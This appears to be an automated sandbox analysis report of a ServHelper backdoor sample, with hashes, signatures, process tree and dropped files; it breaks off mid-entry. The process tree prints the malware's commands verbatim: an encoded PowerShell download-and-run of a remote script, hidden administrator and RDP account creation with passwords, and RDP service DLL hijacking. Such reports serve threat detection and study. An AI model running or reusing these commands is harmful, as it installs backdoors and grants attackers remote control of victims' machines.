Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1793s
  • max time network
    1818s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02-09-2021 16:57

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nvz35czb\nvz35czb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1144
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES628A.tmp" "c:\Users\Admin\AppData\Local\Temp\nvz35czb\CSC99544D2CD3E145CBA66C6CC2C2D335F2.TMP"
          4⤵
            PID:1060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1660
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1412
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1312
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:620
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1496
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1864
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1032
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1784
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1300
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:656
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:944
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1596
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1664
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1524
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:2032
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1264
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1252
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1696
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1260
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1012
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1040
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1144
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1312
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1344
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc khdb71uf /add
                                  1⤵
                                    PID:1836
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc khdb71uf /add
                                      2⤵
                                        PID:1496
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc khdb71uf /add
                                          3⤵
                                            PID:796
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1032
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1916
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1552
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1908
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1664
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:572
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1948
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1340
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1548
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc khdb71uf
                                                          1⤵
                                                            PID:1864
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc khdb71uf
                                                              2⤵
                                                                PID:860
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc khdb71uf
                                                                  3⤵
                                                                    PID:864
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:656
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1032
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:572
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1344
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1548
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1784
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:940
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                                                        1⤵
                                                                          PID:1060
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 111213
                                                                            2⤵
                                                                              PID:1772
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 111213
                                                                                3⤵
                                                                                  PID:1764
                                                                              • C:\Windows\system32\net.exe
                                                                                net user wgautilacc /active:yes
                                                                                2⤵
                                                                                  PID:1964
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 user wgautilacc /active:yes
                                                                                    3⤵
                                                                                      PID:1892

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0a74fcc7-fe37-4bfc-9c3c-c43cd5c418d1

                                                                                  MD5

                                                                                  faa37917b36371249ac9fcf93317bf97

                                                                                  SHA1

                                                                                  a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                                  SHA256

                                                                                  b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                                  SHA512

                                                                                  614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1557d6cb-f8cd-4bc4-9e8c-11a92cb488db

                                                                                  MD5

                                                                                  a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                                  SHA1

                                                                                  81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                                  SHA256

                                                                                  dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                                  SHA512

                                                                                  8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a274539-fba2-4174-a931-9b0efb4a908a

                                                                                  MD5

                                                                                  e5b3ba61c3cf07deda462c9b27eb4166

                                                                                  SHA1

                                                                                  b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                                  SHA256

                                                                                  b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                                  SHA512

                                                                                  a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_48f10a69-b267-4d98-8b70-8359c48a035b

                                                                                  MD5

                                                                                  d89968acfbd0cd60b51df04860d99896

                                                                                  SHA1

                                                                                  b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                                  SHA256

                                                                                  1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                                  SHA512

                                                                                  b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_85d1d6ec-e67e-40bb-8f93-19287eee8d08

                                                                                  MD5

                                                                                  6f0d509e28be1af95ba237d4f43adab4

                                                                                  SHA1

                                                                                  c665febe79e435843553bee86a6cea731ce6c5e4

                                                                                  SHA256

                                                                                  f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                                  SHA512

                                                                                  8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b801fe00-be51-4ef1-83bf-388806a0e209

                                                                                  MD5

                                                                                  2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                                  SHA1

                                                                                  ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                                  SHA256

                                                                                  ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                                  SHA512

                                                                                  edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e62ec81d-774d-44e5-9c29-635b82d37524

                                                                                  MD5

                                                                                  7f79b990cb5ed648f9e583fe35527aa7

                                                                                  SHA1

                                                                                  71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                                  SHA256

                                                                                  080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                                  SHA512

                                                                                  20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                                  MD5

                                                                                  355b3aa32724593b6dc2126b20d82842

                                                                                  SHA1

                                                                                  ef0822f3f215aa6b0fa6107c890c8aaf9e77c32b

                                                                                  SHA256

                                                                                  b06c7cfe936e7ce009cdbace6886464f9c8861c02920e9839c788291d4906511

                                                                                  SHA512

                                                                                  ce15fa5098fd1c9b4517bb3766effeb64649b8b2cf456403f9ee7d8ebf123f1b8874327255092d0a334ae76081fa4a051cbda1f751c44a86b963e3632fc383d0

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                                  MD5

                                                                                  02030d6b3afaa6644db8c2b413aa7cf2

                                                                                  SHA1

                                                                                  0d03de548741faf76bb89371a1e2864e81746605

                                                                                  SHA256

                                                                                  88d395c7b1a6db26676e25fdc6f0577d1abace054956a2bed5877384d34811a7

                                                                                  SHA512

                                                                                  d059e488f7e833510e795069f55f30a86ff731c78ac57f6d180758d3a8a7429b6e93d4e6068516757d1ca795d2e4603fd97d1b724e8234d24e2f69b5a97f1c4e

                                                                                • C:\Users\Admin\AppData\Local\Temp\RES628A.tmp

                                                                                  MD5

                                                                                  245503c46b3c2ca0e87074f7d65428af

                                                                                  SHA1

                                                                                  0f6896e8791dcb3a27cbcca5d41ff7ec526dd749

                                                                                  SHA256

                                                                                  3bcee812eaa8be08f3a3e2c3a8109fd4162a714dfde44ae142e0b283e94c35a2

                                                                                  SHA512

                                                                                  169a3e46565dfd02cd8bc5436072f6e1561e19c4773d94a041119708a5948fdb5f8d7bce00194d1134eaa74b2e6836e9afcdbc5adb0ff51a11771d9c439924a5

                                                                                • C:\Users\Admin\AppData\Local\Temp\nvz35czb\nvz35czb.dll

                                                                                  MD5

                                                                                  328939f9ff8d380db59e41bc75876a92

                                                                                  SHA1

                                                                                  d9f0233e99a9a54fa9e92af6fb0a2fc15abc99e0

                                                                                  SHA256

                                                                                  fd1946daabec1c6a606cf8c01c71a23e95618f3fa48e9b730dbf6c10f681c9a7

                                                                                  SHA512

                                                                                  82f394ffd8b0aee514033e252d797bd15acb07d4517d87af6c9e3ced877a9db02805749e08b760055a45a79ff2e2c88685612c2dc0b6a40c5f2e266479cc9df7

                                                                                • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                                  MD5

                                                                                  3447df88de7128bdc34942334b2fab98

                                                                                  SHA1

                                                                                  519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                                  SHA256

                                                                                  9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                                  SHA512

                                                                                  2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                                • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                                  MD5

                                                                                  00fb904b2dd958760943b89400e9b7f9

                                                                                  SHA1

                                                                                  8c825862b6f70cbaef991525f31100f713e61e7d

                                                                                  SHA256

                                                                                  392e751cec2e13cbbea5161ae4044532961f8e9013cebaa120ac7553388c919a

                                                                                  SHA512

                                                                                  ee4c598b268768f2a2063064ff2a771042bfa5b41e4c5029cb297a17c265a93ab749a3ffecfe28d9e5084068d77e487d14291e780a3d6da1e0fcfbc26b6bc28a

                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                  MD5

                                                                                  156e20ffccfcda205a88af8538e70d0d

                                                                                  SHA1

                                                                                  c7b53b66a377ee4d8fce92af0b6a5d60add109b5

                                                                                  SHA256

                                                                                  99ba32e4ed1c0ba6f85ae9f86563dd3ea17938417e3bb3bd65f4bf111bf60da0

                                                                                  SHA512

                                                                                  e30e8372a8b817cb916f3deb9a923296c271b29b825f76c9952457bbc4f6e43a2026aa5f4af08d129ff80e4ca75206559fb87efcb3630763a7a2ee8e80ba0534

                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                  MD5

                                                                                  156e20ffccfcda205a88af8538e70d0d

                                                                                  SHA1

                                                                                  c7b53b66a377ee4d8fce92af0b6a5d60add109b5

                                                                                  SHA256

                                                                                  99ba32e4ed1c0ba6f85ae9f86563dd3ea17938417e3bb3bd65f4bf111bf60da0

                                                                                  SHA512

                                                                                  e30e8372a8b817cb916f3deb9a923296c271b29b825f76c9952457bbc4f6e43a2026aa5f4af08d129ff80e4ca75206559fb87efcb3630763a7a2ee8e80ba0534

                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                  MD5

                                                                                  156e20ffccfcda205a88af8538e70d0d

                                                                                  SHA1

                                                                                  c7b53b66a377ee4d8fce92af0b6a5d60add109b5

                                                                                  SHA256

                                                                                  99ba32e4ed1c0ba6f85ae9f86563dd3ea17938417e3bb3bd65f4bf111bf60da0

                                                                                  SHA512

                                                                                  e30e8372a8b817cb916f3deb9a923296c271b29b825f76c9952457bbc4f6e43a2026aa5f4af08d129ff80e4ca75206559fb87efcb3630763a7a2ee8e80ba0534

                                                                                • C:\Windows\system32\rfxvmt.dll

                                                                                  MD5

                                                                                  dc39d23e4c0e681fad7a3e1342a2843c

                                                                                  SHA1

                                                                                  58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                                  SHA256

                                                                                  6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                                  SHA512

                                                                                  5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                                • \??\PIPE\lsarpc

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\lsarpc

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\samr

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\samr

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\samr

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\samr

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\srvsvc

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\PIPE\srvsvc

                                                                                  MD5

                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                  SHA1

                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                  SHA256

                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                  SHA512

